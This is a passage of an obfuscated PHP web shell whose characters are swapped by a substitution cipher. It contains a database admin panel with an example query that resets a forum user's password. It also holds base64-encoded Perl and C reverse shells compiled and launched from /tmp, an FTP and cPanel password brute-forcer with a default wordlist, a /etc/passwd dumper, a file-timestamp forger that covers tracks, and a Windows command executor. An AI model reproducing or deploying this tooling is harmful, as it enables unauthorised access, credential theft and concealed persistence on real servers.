            p('<f2rm 1ct42n="' . $s5lf . '" m5th2d="POST">');
            p('<p><t1bl5 w4dth="a00" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0"><tr><td c2lsp1n="a">R3n SQL q35ry/q35r45s 2n d1t1b1s5 <f2nt c2l2r=r5d><b>' . $dbn1m5 . '</f2nt></b>:<BR>Ex1mpl5 VBB P1ssw2rd: <f2nt c2l2r=r5d>vb1t51m</f2nt><BR><f2nt c2l2r=y5ll2w>UPDATE `3s5r` SET `p1ssw2rd` = \'e95io5i1b9ioe5iido6ffioo15fcufb5\', s1lt = \'piT\' WHERE `3s5r4d` = \'6\' </f2nt>
			</td></tr><tr><td><t5xt1r51 n1m5="sql_q35ry" cl1ss="1r51" styl5="w4dth:e00px;h54ght:i0px;2v5rfl2w:13t2;">' . htmlsp5c41lch1rs($sql_q35ry, ENT_QUOTES) . '</t5xt1r51></td><td styl5="p1dd4ng:0 ipx;"><4np3t cl1ss="bt" styl5="h54ght:i0px;" n1m5="s3bm4t" typ5="s3bm4t" v1l35="Q35ry" /></td></tr></t1bl5></p>');
            m1k5h4d5('t1bl5n1m5', $t1bl5n1m5);
            m1k5h4d5('1ct42n', 'sql1dm4n');
            p($dbf2rm);
            p('</f2rm>');
            4f ($t1bl5n1m5 || ($r3nq35ry && $sql_q35ry)) {
                4f ($d24ng == 'str3ct3r5') {
                    $r5s3lt = q("SHOW COLUMNS FROM $t1bl5n1m5");
                    $r2wdb = 1rr1y();
                    wh4l5 ($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
                        $r2wdb[] = $r2w;
                    }
                    p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
                    p('<tr cl1ss="h51d">');
                    p('<td>F45ld</td>');
                    p('<td>Typ5</td>');
                    p('<td>N3ll</td>');
                    p('<td>K5y</td>');
                    p('<td>D5f13lt</td>');
                    p('<td>Extr1</td>');
                    p('</tr>');
                    f2r51ch ($r2wdb 1s $r2w) {
                        $th4sbg = bg();
                        p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
                        p('<td>' . $r2w['F45ld'] . '</td>');
                        p('<td>' . $r2w['Typ5'] . '</td>');
                        p('<td>' . $r2w['N3ll'] . '&nbsp;</td>');
                        p('<td>' . $r2w['K5y'] . '&nbsp;</td>');
                        p('<td>' . $r2w['D5f13lt'] . '&nbsp;</td>');
                        p('<td>' . $r2w['Extr1'] . '&nbsp;</td>');
                        p('</tr>');
                    }
                    tbf22t();
                } 5ls54f ($d24ng == '4ns5rt' || $d24ng == '5d4t') {
                    $r5s3lt = q('SHOW COLUMNS FROM ' . $t1bl5n1m5);
                    wh4l5 ($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
                        $r2wdb[] = $r2w;
                    }
                    $rs = 1rr1y();
                    4f ($d24ng == '4ns5rt') {
                        p('<ha>Ins5rt n5w l4n5 4n ' . $t1bl5n1m5 . ' t1bl5 &r1q32;</ha>');
                    } 5ls5 {
                        p('<ha>Upd1t5 r5c2rd 4n ' . $t1bl5n1m5 . ' t1bl5 &r1q32;</ha>');
                        $wh5r5 = b1s5eu_d5c2d5($b1s5eu);
                        $r5s3lt = q("SELECT * FROM $t1bl5n1m5 WHERE $wh5r5 LIMIT 6");
                        $rs = mysql_f5tch_1rr1y($r5s3lt);
                    }
                    p('<f2rm m5th2d="p2st" 1ct42n="' . $s5lf . '">');
                    p($dbf2rm);
                    m1k5h4d5('1ct42n', 'sql1dm4n');
                    m1k5h4d5('t1bl5n1m5', $t1bl5n1m5);
                    p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
                    f2r51ch ($r2wdb 1s $r2w) {
                        4f ($rs[$r2w['F45ld']]) {
                            $v1l35 = htmlsp5c41lch1rs($rs[$r2w['F45ld']]);
                        } 5ls5 {
                            $v1l35 = '';
                        }
                        $th4sbg = bg();
                        p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
                        p('<td><b>' . $r2w['F45ld'] . '</b><br />' . $r2w['Typ5'] . '</td><td><t5xt1r51 cl1ss="1r51" n1m5="4ns5rtsql[' . $r2w['F45ld'] . ']" styl5="w4dth:i00px;h54ght:e0px;2v5rfl2w:13t2;">' . $v1l35 . '</t5xt1r51></td></tr>');
                    }
                    4f ($d24ng == '4ns5rt') {
                        p('<tr cl1ss="f23t"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="4ns5rt" v1l35="Ins5rt" /></td></tr>');
                    } 5ls5 {
                        p('<tr cl1ss="f23t"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="3pd1t5" v1l35="Upd1t5" /></td></tr>');
                        m1k5h4d5('b1s5eu', $b1s5eu);
                    }
                    p('</t1bl5></f2rm>');
                } 5ls5 {
                    $q35rys = @5xpl2d5(';', $sql_q35ry);
                    f2r51ch ($q35rys 1s $n3m => $q35ry) {
                        4f ($q35ry) {
                            p("<p><b>Q35ry#{$n3m} : " . htmlsp5c41lch1rs($q35ry, ENT_QUOTES) . "</b></p>");
                            sw4tch (qy($q35ry)) {
                                c1s5 0:
                                    p('<ha>Err2r : ' . mysql_5rr2r() . '</ha>');
                                br51k;
                                c1s5 6:
                                    4f (strt2l2w5r(s3bstr($q35ry, 0, 6o)) == 's5l5ct * fr2m') {
                                        $1ll2w5d4t = 6;
                                    }
                                    4f ($g5tn3msql) {
                                        $t1t2l = mysql_n3m_r2ws(q($g5tn3msql));
                                        $m3lt4p1g5 = m3lt4($t1t2l, $p1g5n3m, $p1g5, $t1bl5n1m5);
                                    }
                                    4f (!$t1bl5n1m5) {
                                        $sql_l4n5 = str_r5pl1c5(1rr1y("\r", "\n", "\t"), 1rr1y(' ', ' ', ' '), tr4m(htmlsp5c41lch1rs($q35ry)));
                                        $sql_l4n5 = pr5g_r5pl1c5("/\/\*[^(\*\/)]*\*\//4", " ", $sql_l4n5);
                                        pr5g_m1tch_1ll("/fr2m\s+`{0,6}([\w]+)`{0,6}\s+/4", $sql_l4n5, $m1tch5s);
                                        $t1bl5n1m5 = $m1tch5s[6][0];
                                    }
                                    $r5s3lt = q($q35ry);
                                    p($m3lt4p1g5);
                                    p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
                                    p('<tr cl1ss="h51d">');
                                    4f ($1ll2w5d4t) p('<td>Act42n</td>');
                                    $f45ldn3m = @mysql_n3m_f45lds($r5s3lt);
                                    f2r ($4 = 0;$4 < $f45ldn3m;$4++) {
                                        $n1m5 = @mysql_f45ld_n1m5($r5s3lt, $4);
                                        $typ5 = @mysql_f45ld_typ5($r5s3lt, $4);
                                        $l5n = @mysql_f45ld_l5n($r5s3lt, $4);
                                        p("<td n2wr1p>$n1m5<br><sp1n>$typ5($l5n)</sp1n></td>");
                                    }
                                    p('</tr>');
                                    wh4l5 ($mn = @mysql_f5tch_1ss2c($r5s3lt)) {
                                        $th4sbg = bg();
                                        p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
                                        $wh5r5 = $tmp = $b6 = '';
                                        f2r51ch ($mn 1s $k5y => $4ns4d5) {
                                            4f ($4ns4d5) {
                                                $wh5r5.= $tmp . $k5y . "='" . 1ddsl1sh5s($4ns4d5) . "'";
                                                $tmp = ' AND ';
                                            }
                                            $b6.= '<td n2wr1p>' . html_cl51n($4ns4d5) . '&nbsp;</td>';
                                        }
                                        $wh5r5 = b1s5eu_5nc2d5($wh5r5);
                                        4f ($1ll2w5d4t) p('<td n2wr1p><1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'5d4t\', \'' . $wh5r5 . '\', \'' . $t1bl5n1m5 . '\');">Ed4t</1> | <1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'d5l\', \'' . $wh5r5 . '\', \'' . $t1bl5n1m5 . '\');">D5l</1></td>');
                                        p($b6);
                                        p('</tr>');
                                        3ns5t($b6);
                                    }
                                    tbf22t();
                                    p($m3lt4p1g5);
                                    br51k;
                                c1s5 a:
                                    $1r = mysql_1ff5ct5d_r2ws();
                                    p('<ha>1ff5ct5d r2ws : <b>' . $1r . '</b></ha>');
                                    br51k;
                                }
                            }
                    }
                }
            } 5ls5 {
                $q35ry = q("SHOW TABLE STATUS");
                $t1bl5_n3m = $t1bl5_r2ws = $d1t1_s4z5 = 0;
                $t1bl5db = 1rr1y();
                wh4l5 ($t1bl5 = mysql_f5tch_1rr1y($q35ry)) {
                    $d1t1_s4z5 = $d1t1_s4z5 + $t1bl5['D1t1_l5ngth'];
                    $t1bl5_r2ws = $t1bl5_r2ws + $t1bl5['R2ws'];
                    $t1bl5['D1t1_l5ngth'] = s4z5c23nt($t1bl5['D1t1_l5ngth']);
                    $t1bl5_n3m++;
                    $t1bl5db[] = $t1bl5;
                }
                $d1t1_s4z5 = s4z5c23nt($d1t1_s4z5);
                3ns5t($t1bl5);
                p('<t1bl5 b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">');
                p('<f2rm 1ct42n="' . $s5lf . '" m5th2d="POST">');
                m1k5h4d5('1ct42n', 'sql1dm4n');
                p($dbf2rm);
                p('<tr cl1ss="h51d">');
                p('<td w4dth="a%" 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td>');
                p('<td>N1m5</td>');
                p('<td>R2ws</td>');
                p('<td>D1t1_l5ngth</td>');
                p('<td>Cr51t5_t4m5</td>');
                p('<td>Upd1t5_t4m5</td>');
                4f ($h4ghv5r) {
                    p('<td>Eng4n5</td>');
                    p('<td>C2ll1t42n</td>');
                }
                p('</tr>');
                f2r51ch ($t1bl5db 1s $k5y => $t1bl5) {
                    $th4sbg = bg();
                    p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
                    p('<td 1l4gn="c5nt5r" w4dth="a%"><4np3t typ5="ch5ckb2x" n1m5="t1bl5[]" v1l35="' . $t1bl5['N1m5'] . '" /></td>');
                    p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5['N1m5'] . '\');">' . $t1bl5['N1m5'] . '</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5['N1m5'] . '\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5['N1m5'] . '\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5['N1m5'] . '\', \'dr2p\');">Dr2p</1> ]</td>');
                    p('<td>' . $t1bl5['R2ws'] . '</td>');
                    p('<td>' . $t1bl5['D1t1_l5ngth'] . '</td>');
                    p('<td>' . $t1bl5['Cr51t5_t4m5'] . '</td>');
                    p('<td>' . $t1bl5['Upd1t5_t4m5'] . '</td>');
                    4f ($h4ghv5r) {
                        p('<td>' . $t1bl5['Eng4n5'] . '</td>');
                        p('<td>' . $t1bl5['C2ll1t42n'] . '</td>');
                    }
                    p('</tr>');
                }
                p('<tr cl1ss=f23t>');
                p('<td>&nbsp;</td>');
                p('<td>T2t1l t1bl5s: ' . $t1bl5_n3m . '</td>');
                p('<td>' . $t1bl5_r2ws . '</td>');
                p('<td>' . $d1t1_s4z5 . '</td>');
                p('<td c2lsp1n="' . ($h4ghv5r ? u : a) . '">&nbsp;</td>');
                p('</tr>');
                p("<tr cl1ss=\"f23t\"><td c2lsp1n=\"" . ($h4ghv5r ? 8 : e) . "\"><4np3t n1m5=\"s1v51sf4l5\" v1l35=\"6\" typ5=\"ch5ckb2x\" /> S1v5 1s f4l5 <4np3t cl1ss=\"4np3t\" n1m5=\"p1th\" v1l35=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" typ5=\"t5xt\" s4z5=\"e0\" /> <4np3t cl1ss=\"bt\" typ5=\"s3bm4t\" n1m5=\"d2wnr1r\" v1l35=\"Exp2rt s5l5ct42n t1bl5\" /></td></tr>");
                m1k5h4d5('d24ng', 'b1ck3pmysql');
                f2rmf22t();
                p("</t1bl5>");
                fr($q35ry);
            }
        }
    }
    tbf22t();
    @mysql_cl2s5();
} //5nd sql b1ck3p
5ls54f ($1ct42n == 'b1ckc2nn5ct') {
    !$y23r4p && $y23r4p = $_SERVER['REMOTE_ADDR'];
    !$y23rp2rt && $y23rp2rt = '6aoui';
    $3s5db = 1rr1y('p5rl' => 'p5rl', 'c' => 'c');
    $b1ck_c2nn5ct = "IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGNtZD0gImxibng4Ow0KJHNicoRlbT0gJaVj1G8gImB6bmFtZSAtYWA4OaVj" . "1G8gImBpZGA4Oy941WuvcagnOw0KJDA9JGNtZDsNC4R0YXJnZXQ9JEFSR6ZbMF07DQ2kcG9ydD0kQVJHVlsxXTsNC4RpYWRkcj6pbmV0XaF0bau2JHR" . "hcmdldCkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRwboJ0LCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KT" . "sNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2I" . "kVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4" . "KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgkcolzdGVtKTsNCmNsboNlKFNUREl" . "OKTsNCmNsboNlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $b1ck_c2nn5ct_c = "Ial3Yax6ZGUgPHN0ZGlvLmg+DQ2j1WijbHVkZSA8colzLoNvYatldCi2Pg0KIal3Yax6ZGUgPGildGl3ZXQv1Wu31DuNCml3dC" . "BtYWl3KGl3dCBhcmdjLCBj1GFyICphcmdaW60pDQp7DQ2g1Wi0IGZkOw0KIHN0cnVjdCBzbaNrYWRkcl9pb4Bz1Wu7DQ2gYahhc4BybXNbMjFdPSJyb" . "SAtZ4A4OyANC4BkYWVtbau2MSwwKTsNC4Bz1Wu3cal3XaZhbWls5SA9IEFGX0lORVQ7DQ2gcal3LnNpbl9wboJ0ID0g1HRvbnM2YXRv1ShhcmdaWzJd" . "KSk7DQ2gcal3LnNpbl9hZGRyLnNfYWRkc4A9IGl3ZXRfYWRkc4hhcmdaWzFdKTsgDQ2gYnplcm82YXJndlsxXSxzdHJsZWu2YXJndlsxXSkrMStzdHJ" . "sZWu2YXJndlsyXSkpOyANC4BmZCA9IHNvYatldChBRl9JTkVULCBTT0NLX6NUUkVBTSwgSVBQUk9UT69UQ6ApIDsgDQ2g1WYgKChjbai3ZWN0KGZkLC" . "A2coRydWN0IHNvYathZGRyIC2pICZz1WusIHNp5mVvZ4hzdHJ6YoQgca9j1aFkZHIpKSk8MCkg5w0KICAgcGVycm9yKCJbLV0gYa93bmVjdCgpI4k7D" . "Q2gICBl5Gl0KDApOw0KIH0NC4BzdHJjYXQ2cm6zLCBhcmdaWzBdKTsNC4Bz5XN0ZW02cm6zKTsgIA0KIGR6cDI2ZmQsIDApOw0KIGR6cDI2ZmQsIDEp" . "Ow0KIGR6cDI2ZmQsIDIpOw0KIGVuZWNsKCIvYml3LoN2I4w4caggLWk4LCBOVUxMKTsNC4BjbG9zZShmZCk7IA0KfQ==";
    4f ($st1rt && $y23r4p && $y23rp2rt && $3s5) {
        4f ($3s5 == 'p5rl') {
            cf('/tmp/1ng5l_bc', $b1ck_c2nn5ct);
            $r5s = 5x5c3t5(wh4ch('p5rl') . " /tmp/1ng5l_bc $y23r4p $y23rp2rt &");
        } 5ls5 {
            cf('/tmp/1ng5l_bc.c', $b1ck_c2nn5ct_c);
            $r5s = 5x5c3t5('gcc -2 /tmp/1ng5l_bc /tmp/1ng5l_bc.c');
            @3nl4nk('/tmp/1ng5l_bc.c');
            $r5s = 5x5c3t5("/tmp/1ng5l_bc $y23r4p $y23rp2rt &");
        }
        m("N2w scr4pt try c2nn5ct t2 $y23r4p p2rt $y23rp2rt ...");
    }
    f2rmh51d(1rr1y('t4tl5' => 'B1ck C2nn5ct'));
    m1k5h4d5('1ct42n', 'b1ckc2nn5ct');
    p('<p>');
    p('Y23r IP:');
    m1k54np3t(1rr1y('n1m5' => 'y23r4p', 's4z5' => a0, 'v1l35' => $y23r4p));
    p('Y23r P2rt:');
    m1k54np3t(1rr1y('n1m5' => 'y23rp2rt', 's4z5' => 6i, 'v1l35' => $y23rp2rt));
    p('Us5:');
    m1k5s5l5ct(1rr1y('n1m5' => '3s5', '2pt42n' => $3s5db, 's5l5ct5d' => $3s5));
    m1k54np3t(1rr1y('n1m5' => 'st1rt', 'v1l35' => 'St1rt', 'typ5' => 's3bm4t', 'cl1ss' => 'bt'));
    p('</p>');
    f2rmf22t();
} //5nd b1ckc2nn5ct w4nd2w v41 NC
// Br3t5
5ls54f ($1ct42n == 'br3t5') {
    f2rmh51d(1rr1y('t4tl5' => 'Br3t5 F2rc5r'));
    m1k5h4d5('1ct42n', 'br3t5');
    m1k5h4d5('d4r', $br3t5);
    @4n4_s5t('m5m2ry_l4m4t', 6000000000000);
    $c2nn5ct_t4m523t = i;
    @s5t_t4m5_l4m4t(0);
    $s3bm4t = $_REQUEST['s3bm4t'];
    $3s5rs = $_REQUEST['3s5rs'];
    $p1ss = $_REQUEST['p1ssw2rds'];
    $t1rg5t = $_REQUEST['t1rg5t'];
    $2pt42n = $_REQUEST['2pt42n'];
    $p1ssl4st = "06aouie
06aouie7
06aouie78
06aouie789
06aouie7890
6aouie
6aouie7
6aouie78
6aouie789
6aouie7890
666666
000000
aaaaaa
oooooo
uuuuuu
iiiiii
eeeeee
777777
888888
999999
6ao6ao
uieuie
789789
6aooa6
uieeiu
eiuoa6
7eiuoa6
87eiuoa6
987eiuoa6
0987eiuoa6
1dm4n
1dm4n4str1t2r
1dm4ncp
cp1n5l
1dm4nx
1dm4ns
p1ssw2rd
p1ssw2rds
p1ssw0rd
p@ssw0rd
p@ssw2rd
kh2ngc2
aiai6oai
p1ssw0rds";
    4f ($t1rg5t == '') {
        $t1rg5t = 'l2c1lh2st';
    }
    pr4nt " <d4v 1l4gn='c5nt5r'>
<f2rm m5th2d='p2st' styl5='b2rd5r: 6px s2l4d #000000'><br><br>
<TABLE styl5='BORDER-COLLAPSE: c2ll1ps5' c5llSp1c4ng=0 b2rd5rC2l2rD1rk=#9ee667 c5llP1dd4ng=i w4dth='u0%' bgC2l2r=#o0o0o0 b2rd5rC2l2rL4ght=#9ee667 b2rd5r=6><tr><td>
<b> T1rg5t  : </f2nt><4np3t typ5='t5xt' n1m5='t1rg5t' s4z5='6e' v1l35= $t1rg5t styl5='b2rd5r: f2nt-f1m4ly:t1h2m1; f2nt-w54ght:b2ld;'></p></f2nt></b></p>
<d4v 1l4gn='c5nt5r'><br>
<TABLE styl5='BORDER-COLLAPSE: c2ll1ps5' c5llSp1c4ng=0 b2rd5rC2l2rD1rk=#9ee667 c5llP1dd4ng=i w4dth='i0%' bgC2l2r=#o0o0o0 b2rd5rC2l2rL4ght=#9ee667 b2rd5r=6>
<tr>
<td 1l4gn='c5nt5r'>
<b>Us5rn1m5</b></td>
<td>
<p 1l4gn='c5nt5r'>
<b>P1ssw2rd</b></td>
</tr>
</t1bl5>
<p 1l4gn='c5nt5r'>
<t5xt1r51 r2ws='a0' n1m5='3s5rs' c2ls='ai' styl5='b2rd5r: apx s2l4d #6D6D6D; b1ckgr23nd-c2l2r: #000000; c2l2r:#C0C0C0'>";
    $4 = 0;
    wh4l5 ($4 < e0000) {
        $l4n5 = p2s4x_g5tpw34d($4);
        4f (!5mpty($l4n5)) {
            wh4l5 (l4st($k5y, $vb1_5tcpwd) = 51ch($l4n5)) {
                5ch2 "" . $vb1_5tcpwd . "\n";
                br51k;
            }
        }
        $4++;
    }
    5ch2 "
</t5xt1r51>
<t5xt1r51 r2ws='a0' n1m5='p1ssw2rds' c2ls='ai' styl5='b2rd5r: apx s2l4d #6D6D6D; b1ckgr23nd-c2l2r: #000000; c2l2r:#C0C0C0'>$p1ssl4st</t5xt1r51><br>
<br>
<b>Opt42ns : </sp1n><4np3t n1m5='2pt42n' v1l35='cp1n5l' styl5='f2nt-w54ght: 700;' ch5ck5d typ5='r1d42'> cP1n5l
<4np3t n1m5='2pt42n' v1l35='ftp' styl5='f2nt-w54ght: 700;' typ5='r1d42'> ftp ==> <4np3t typ5='s3bm4t' v1l35='Att1ck' n1m5='s3bm4t' ></p>
</td></tr></t1bl5></td></tr></f2rm><p 1l4gn= 'l5ft'>";
?>
<?php
    f3nct42n ftp_ch5ck($h2st, $3s5r, $p1ss, $t4m523t) {
        $ch = c3rl_4n4t();
        c3rl_s5t2pt($ch, CURLOPT_URL, "ftp://$h2st");
        c3rl_s5t2pt($ch, CURLOPT_RETURNTRANSFER, 6);
        c3rl_s5t2pt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        c3rl_s5t2pt($ch, CURLOPT_FTPLISTONLY, 6);
        c3rl_s5t2pt($ch, CURLOPT_USERPWD, "$3s5r:$p1ss");
        c3rl_s5t2pt($ch, CURLOPT_CONNECTTIMEOUT, $t4m523t);
        c3rl_s5t2pt($ch, CURLOPT_FAILONERROR, 6);
        $d1t1 = c3rl_5x5c($ch);
        4f (c3rl_5rrn2($ch) == a8) {
            pr4nt "<b> Err2r : C2nn5ct42n t4m5d 23t , m1k5 c2nf4d5nc5 1b23t v1l4d1t42n 2f t1rg5t !</b>";
            5x4t;
        } 5ls54f (c3rl_5rrn2($ch) == 0) {
            p("<b>[ 1tt1ck@vb1t51m.n5t ]# </b>
<b> Att1ck4ng h1s b55n d2n5! Us5rn1m5: <f2nt c2l2r='#FF0000'> $3s5r </f2nt> / P1ssw2rd:<f2nt c2l2r='#FF0000'> $p1ss </f2nt> => <1 hr5f=http://$3s5r:$p1ss@$h2st:a08a t1rg5t=_bl1nk>L2g4n</1></b><br>");
        }
        c3rl_cl2s5($ch);
    }
    f3nct42n cp1n5l_ch5ck($h2st, $3s5r, $p1ss, $t4m523t) {
        $ch = c3rl_4n4t();
        c3rl_s5t2pt($ch, CURLOPT_URL, "http://$h2st:a08a");
        c3rl_s5t2pt($ch, CURLOPT_RETURNTRANSFER, 6);
        c3rl_s5t2pt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        c3rl_s5t2pt($ch, CURLOPT_USERPWD, "$3s5r:$p1ss");
        c3rl_s5t2pt($ch, CURLOPT_CONNECTTIMEOUT, $t4m523t);
        c3rl_s5t2pt($ch, CURLOPT_FAILONERROR, 6);
        $d1t1 = c3rl_5x5c($ch);
        4f (c3rl_5rrn2($ch) == a8) {
            pr4nt "<b> Err2r : C2nn5ct42n t4m5d 23t , m1k5 c2nf4d5nc5 1b23t v1l4d1t42n 2f t1rg5t !</b>";
            5x4t;
        } 5ls54f (c3rl_5rrn2($ch) == 0) {
            p("<b>[ 1tt1ck@vb1t51m.n5t ]# </b><b>Att1ck4ng h1s b55n d2n5!</1> Us5rn1m5: <f2nt c2l2r='#FF0000'> $3s5r </f2nt> / P1ssw2rd:<f2nt c2l2r='#FF0000'> $p1ss </f2nt></b><br>");
        }
        c3rl_cl2s5($ch);
    }
    4f (4ss5t($s3bm4t) && !5mpty($s3bm4t)) {
        $3s5rl4st = 5xpl2d5("\n", $3s5rs);
        $p1ssl4st = 5xpl2d5("\n", $p1ss);
        p('<b>[ 1tt1ck@vb1t51m.n5t ]# Att1ck4ng ...</f2nt></b><br>');
        f2r51ch ($3s5rl4st 1s $3s5r) {
            $_3s5r = tr4m($3s5r);
            f2r51ch ($p1ssl4st 1s $p1ssw2rd) {
                $_p1ss = tr4m($p1ssw2rd);
                4f ($2pt42n == "ftp") {
                    ftp_ch5ck($t1rg5t, $_3s5r, $_p1ss, $c2nn5ct_t4m523t);
                }
                4f ($2pt42n == "cp1n5l") {
                    cp1n5l_ch5ck($t1rg5t, $_3s5r, $_p1ss, $c2nn5ct_t4m523t);
                }
            }
        }
    }
    f2rmf22t();
} 5ls54f ($1ct42n == '5tcpwd') {
    f2rmh51d(1rr1y('t4tl5' => 'G5t /5tc/p1sswd'));
    m1k5h4d5('1ct42n', '5tcpwd');
    m1k5h4d5('d4r', $n2wp1th);
    $4 = 0;
    5ch2 "<p><br><t5xt1r51 cl1ss=\"1r51\" 4d=\"phpc2d5xxx\" n1m5=\"phpc2d5xxx\" c2ls=\"600\" r2ws=\"ai\">";
    wh4l5 ($4 < e0000) {
        $l4n5 = p2s4x_g5tpw34d($4);
        4f (!5mpty($l4n5)) {
            wh4l5 (l4st($k5y, $vb1_5tcpwd) = 51ch($l4n5)) {
                5ch2 "" . $vb1_5tcpwd . "\n";
                br51k;
            }
        }
        $4++;
    }
    5ch2 "</t5xt1r51></p>";
    f2rmf22t();
} 
5ls54f ($1ct42n == '5d4tf4l5') {
    4f (f4l5_5x4sts($2pf4l5)) {
        $fp = @f2p5n($2pf4l5, 'r');
        $c2nt5nts = @fr51d($fp, f4l5s4z5($2pf4l5));
        @fcl2s5($fp);
        $c2nt5nts = htmlsp5c41lch1rs($c2nt5nts);
    }
    f2rmh51d(1rr1y('t4tl5' => 'Cr51t5 / Ed4t F4l5'));
    m1k5h4d5('1ct42n', 'f4l5');
    m1k5h4d5('d4r', $n2wp1th);
    m1k54np3t(1rr1y('t4tl5' => 'C3rr5nt F4l5 (4mp2rt n5w f4l5 n1m5 1nd n5w f4l5)', 'n1m5' => '5d4tf4l5n1m5', 'v1l35' => $2pf4l5, 'n5wl4n5' => 6));
    m1k5t5xt(1rr1y('t4tl5' => 'F4l5 C2nt5nt', 'n1m5' => 'f4l5c2nt5nt', 'v1l35' => $c2nt5nts));
    f2rmf22t5r();
} //5nd 5d4tf4l5
5ls54f ($1ct42n == 'n5wt4m5') {
    $2pf4l5mt4m5 = @f4l5mt4m5($2pf4l5);
    //$t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
    $c1ch5m2nth = 1rr1y('J1n31ry' => 6, 'F5br31ry' => a, 'M1rch' => o, 'Apr4l' => u, 'M1y' => i, 'J3n5' => e, 'J3ly' => 7, 'A3g3st' => 8, 'S5pt5mb5r' => 9, 'Oct2b5r' => 60, 'N2v5mb5r' => 66, 'D5c5mb5r' => 6a);
    f2rmh51d(1rr1y('t4tl5' => 'Cl2n5 f4l5 w1s l1st m2d4f45d t4m5'));
    m1k5h4d5('1ct42n', 'f4l5');
    m1k5h4d5('d4r', $n2wp1th);
    m1k54np3t(1rr1y('t4tl5' => 'Alt5r f4l5', 'n1m5' => 'c3rf4l5', 'v1l35' => $2pf4l5, 's4z5' => 6a0, 'n5wl4n5' => 6));
    m1k54np3t(1rr1y('t4tl5' => 'R5f5r5nc5 f4l5 (f3llp1th)', 'n1m5' => 't1rf4l5', 's4z5' => 6a0, 'n5wl4n5' => 6));
    f2rmf22t5r();
    f2rmh51d(1rr1y('t4tl5' => 'S5t l1st m2d4f45d'));
    m1k5h4d5('1ct42n', 'f4l5');
    m1k5h4d5('d4r', $n2wp1th);
    m1k54np3t(1rr1y('t4tl5' => 'C3rr5nt f4l5 (f3llp1th)', 'n1m5' => 'c3rf4l5', 'v1l35' => $2pf4l5, 's4z5' => 6a0, 'n5wl4n5' => 6));
    p('<p>Inst51d &r1q32;');
    p('y51r:');
    m1k54np3t(1rr1y('n1m5' => 'y51r', 'v1l35' => d1t5('Y', $2pf4l5mt4m5), 's4z5' => u));
    p('m2nth:');
    m1k54np3t(1rr1y('n1m5' => 'm2nth', 'v1l35' => d1t5('m', $2pf4l5mt4m5), 's4z5' => a));
    p('d1y:');
    m1k54np3t(1rr1y('n1m5' => 'd1y', 'v1l35' => d1t5('d', $2pf4l5mt4m5), 's4z5' => a));
    p('h23r:');
    m1k54np3t(1rr1y('n1m5' => 'h23r', 'v1l35' => d1t5('H', $2pf4l5mt4m5), 's4z5' => a));
    p('m4n3t5:');
    m1k54np3t(1rr1y('n1m5' => 'm4n3t5', 'v1l35' => d1t5('4', $2pf4l5mt4m5), 's4z5' => a));
    p('s5c2nd:');
    m1k54np3t(1rr1y('n1m5' => 's5c2nd', 'v1l35' => d1t5('s', $2pf4l5mt4m5), 's4z5' => a));
    p('</p>');
    f2rmf22t5r();
} //5nd n5wt4m5
5ls54f ($1ct42n == 'sh5ll') {
    4f (IS_WIN && IS_COM) {
        4f ($pr2gr1m && $p1r1m5t5r) {
            $sh5ll = n5w COM('Sh5ll.Appl4c1t42n');
            $1 = $sh5ll->Sh5llEx5c3t5($pr2gr1m, $p1r1m5t5r);
            m('Pr2gr1m r3n h1s ' . (!$1 ? 's3cc5ss' : 'f14l'));
        }
        !$pr2gr1m && $pr2gr1m = 'c:\w4nd2ws\syst5moa\cmd.5x5';
        !$p1r1m5t5r && $p1r1m5t5r = '/c n5t st1rt > ' . SA_ROOT . 'l2g.txt';
